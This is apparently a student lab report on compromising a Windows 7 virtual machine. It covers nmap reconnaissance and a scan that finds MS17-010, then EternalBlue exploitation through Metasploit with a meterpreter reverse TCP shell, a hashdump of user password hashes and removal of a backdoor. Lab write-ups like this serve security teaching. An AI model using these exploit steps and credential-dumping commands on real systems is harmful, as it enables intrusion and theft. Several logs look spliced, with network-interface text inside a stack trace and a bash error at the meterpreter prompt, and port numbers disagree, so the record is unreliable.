

# Accessing Windows 7 System using MSF Report

## Overview:

The objective of this lab was to use the process of penetration testing to gather information, detect vulnerabilities, and exploit vulnerabilities in a Windows 7 system. This lab consisted of 6 phases that utilized many tools such as nmap, Metasploit, and open-source vulnerability data to achieve the objectives of this lab.

## Information Gathering:

For the first phase of this lab, we used nmap to perform active reconnaissance against our target. The first thing we needed to figure out was the IP address of our target system. This was easily done by running a port scan on the range of subnets in our current IP address. Our current IP address was *192.168.21.130*. Using this information, we used the ***nmap 192.168.21.1-180 -sV*** command. This command allowed us to scan the subnet ranged of 192.168.21.1-180 and returned the services and OS running on the machines that were found. The results of our scan showed us that an IP address of *192.168.21.150* that had several ports open (22, 135, 139, etc) and was running windows 7. This was our target machine.

```
root@Kali:~/Desktop# nmap 192.168.21.1-180 -sV
Starting Nmap 7.60 ( https://nmap.org ) at 2022-10-24 22:05 EDT
Nmap scan report for 192.168.21.150
Host is up (0.0056s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          Bitwise WinSSHD 7.45 (FlowSsh 7.45; protocol 2.0; non-commercial use)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
4445/tcp   open  winshell     Microsoft Windows 6.1.7600 cmd.exe (**BACKDOOR**)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:81:F2:63 (VMware)
Service Info: Host: WIN-JFTUIE0EJ2U; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.21.130
Host is up (0.0000060s latency).
All 1000 scanned ports on 192.168.21.130 are closed

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 180 IP addresses (2 hosts up) scanned in 141.85 seconds
root@Kali:~/Desktop#
```

## Vulnerability Scan:

For our next phase we had to see what vulnerabilities were on our target machine given the current open ports and services. For this we used the ***nmap 192.168.21.150 -script vuln*** command. Nmap is able to do a vulnerability scan using its own database. The “vuln” script is one of the several generic scripts nmap can use to do vulnerability scanning. The result of this command showed that this particular machine had a smb vulnerability that enabled remote code execution. The results also gave us the CVE identifier as well as several other links to use to research this vulnerability.

```
Host is up (0.00071s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
4445/tcp   open  upnotifyp
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown
MAC Address: 00:0C:29:81:F2:63 (VMware)

Host script results:
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: Could not negotiate a connection: SMB: ERROR: Server disconnected the connection
|_ smb-vuln-ms17-010: VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|     https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
```

## Exploitation:

Now that we had our target machine and our vulnerability, it was time for us to search for an exploit. To do this we used the Metasploit Framework to search for an exploit. Once we started Metasploit, the next thing we did was search for the CVE we found in our vulnerability scan. We used the ***search CVE-2017-0143*** command to search for any scanners or exploits related to this vulnerability. This search gave us two results. One scanner and one exploit for this vulnerability. From here we used the ***use exploit/windows/smb/ms17\_010\_eternalblue*** command to set our exploit. Next, we used the ***search meterpreter*** command to search for available payloads for this exploit. We came across the

`payload/windows/meterpreter_reverse_tcp` exploit. This exploit would open a reverse meterpreter shell using tcp, giving us access to our target machine. We used the **set payload windows/meterpreter\_reverse\_tcp** to set our payload. Next, we set our LHOST and RHOST to 192.168.21.130 and 192.168.21.150 respectively. We used the **run** command to execute our exploit and we successfully spawned our meterpreter shell. See screenshots below.

```
msf > search CVE-2017-0143
Stopping the keystroke sniffer...
Matching Modules
=====
Name                               Disclosure Date Rank Description
-----
auxiliary/scanner/smb/smb_ms17_010 2017-03-14      normal MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
```

```
payload/windows/meterpreter/reverse_tcp_rc4 normal Windows Met
meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
payload/windows/meterpreter/reverse_tcp_rc4_dns normal Windows Met
meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
payload/windows/meterpreter/reverse_tcp_uuid normal Windows Met
meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
payload/windows/meterpreter/reverse_winhttp normal Windows Met
meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
payload/windows/meterpreter/reverse_winhttps normal Windows Met
meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttps)
payload/windows/meterpreter/bind_tcp normal Windows Met
meterpreter Shell, Bind TCP Inline
payload/windows/meterpreter/reverse_http normal Windows Met
meterpreter Shell, Reverse HTTP Inline
payload/windows/meterpreter/reverse_https normal Windows Met
meterpreter Shell, Reverse HTTPS Inline
payload/windows/meterpreter/reverse_ipv6_tcp normal Windows Met
meterpreter Shell, Reverse TCP Inline (IPv6)
payload/windows/meterpreter/reverse_tcp normal Windows Met
meterpreter Shell, Reverse TCP Inline
payload/windows/metsvc/bind_tcp normal Windows Met
meterpreter Service, Bind TCP
payload/windows/metsvc/reverse_tcp normal Windows Met
meterpreter Service, Reverse TCP Inline
payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal Windows Inj
Inject DLL, Hidden Bind Ipknock TCP Stager
payload/windows/patchupdllinject/bind_hidden_tcp normal Windows Inj
Inject DLL, Hidden Bind TCP Stager
payload/windows/patchupdllinject/bind_ipv6_tcp normal Windows Inj
Inject DLL, Bind IPv6 TCP Stager (Windows x86)
payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal Windows Inj
Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
payload/windows/patchupdllinject/bind_nonx_tcp normal Windows Inj
Inject DLL, Bind TCP Stager (No NX or Win7)
payload/windows/patchupdllinject/bind_tcp normal Windows Inj
Inject DLL, Bind TCP Stager
```

```
msf exploit(ms17_010_eternalblue) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.21.130
LHOST => 192.168.21.130
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.21.150
RHOST => 192.168.21.150
```

```

[*] Meterpreter session 1 opened (192.168.21.130:4444 => 192.168.21.150:49205) at 2022-10-24 22:29:02 -0400
[-] 192.168.21.150:445: TypeError: nil can't be coerced into Fixnum:peid 0x20<link>
[-] 192.168.21.150:445: /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/ruby_smb-0.0.18/lib/ruby_smb/dispatcher/socket.rb:32:in `+'96690 (1.2 MiB)
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/ruby_smb-0.0.18/lib/ruby_smb/dispatcher/socket.rb:32:in `send_packet' 21914 bytes 2986627 (2.8 MiB)
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/ruby_smb-0.0.18/lib/ruby_smb/client.rb:228:in `send_recv'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/ruby_smb-0.0.18/lib/ruby_smb/client/echo.rb:17:in `smb1_echo' 127.0.0.1 netmask 255.0.0.0
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/ruby_smb-0.0.18/lib/ruby_smb/client.rb:152:in `echo'
loop txqueuelen 1000 (Local Loopback)
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:396:in `smb1_large_buffer'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:196:in `smb_eternalblue'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:118:in `block in exploit'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/activesupport-4.2.9/lib/active_support/core_ext/range/each.rb:7:in `each'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/activesupport-4.2.9/lib/active_support/core_ext/range/each.rb:7:in `each with time with zone'
/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb:114:in `exploit'
/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:206:in `job_run_proc'
/usr/share/metasploit-framework/lib/msf/core/exploit_driver.rb:167:in `run'
/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:110:in `cmd_exploit'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:430:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:392:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:205:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:48:in `<main>'

meterpreter >

```

## Post Exploitation (pillaging, persistence, and clean up):

Now that we have our meterpreter shell, we can now access files and directories within the windows system. The first thing we used was the **getpid** and **getsid** commands to get the current process id and security id. The next command we used was the **hashdump** command to dump the password hashes of all users on the target system. After this we were able to use John-The-Ripper to crack the password for the *Instructor* user.

```

meterpreter > getpid
Current pid: 1180
meterpreter > getsid
Server SID: S-1-5-18
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Instructor:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa57ae634:::
student:1001:aad3b435b51404eeaad3b435b51404ee:0b9957e8bed733e0350c703ac1cda822:::
meterpreter > help
bash: john--help: command not found

```





Finally, it was time for us to cleanup. For this step, we used netcat to close our backdoor into the machine. We used the ***ncat 192.168.21.150 4445*** command to log back into the machine using the back door. Next, we used the ***REG DELETE HKLM\Software\Microsoft\Windows\Currentversion\run*** command to delete the registry key, deleting the back door. Restarting the windows machine and running another port scan shows that the backdoor is now disabled.

```
root@kali:~# ncat 192.168.21.150 4455
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>REG DELETE HKLM\Software\Microsoft\Windows\Currentversion\run
REG DELETE HKLM\Software\Microsoft\Windows\Currentversion\run
Permanently delete the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\run (Yes/No)? Yes
```

```
Starting Nmap 7.60 ( https://nmap.org ) at 2022-10-27 14:39 EDT
Stats: 0:01:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 10.00% done; ETC: 14:41 (0:00:54 remaining)
Stats: 0:01:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 40.00% done; ETC: 14:42 (0:00:59 remaining)
Nmap scan report for 192.168.21.150
Host is up (0.00049s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          Bitwise WinSSHD 7.45 (FlowSsh 7.45; protocol 2.0; non-commercial use)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:81:E2:63 (VMware)
```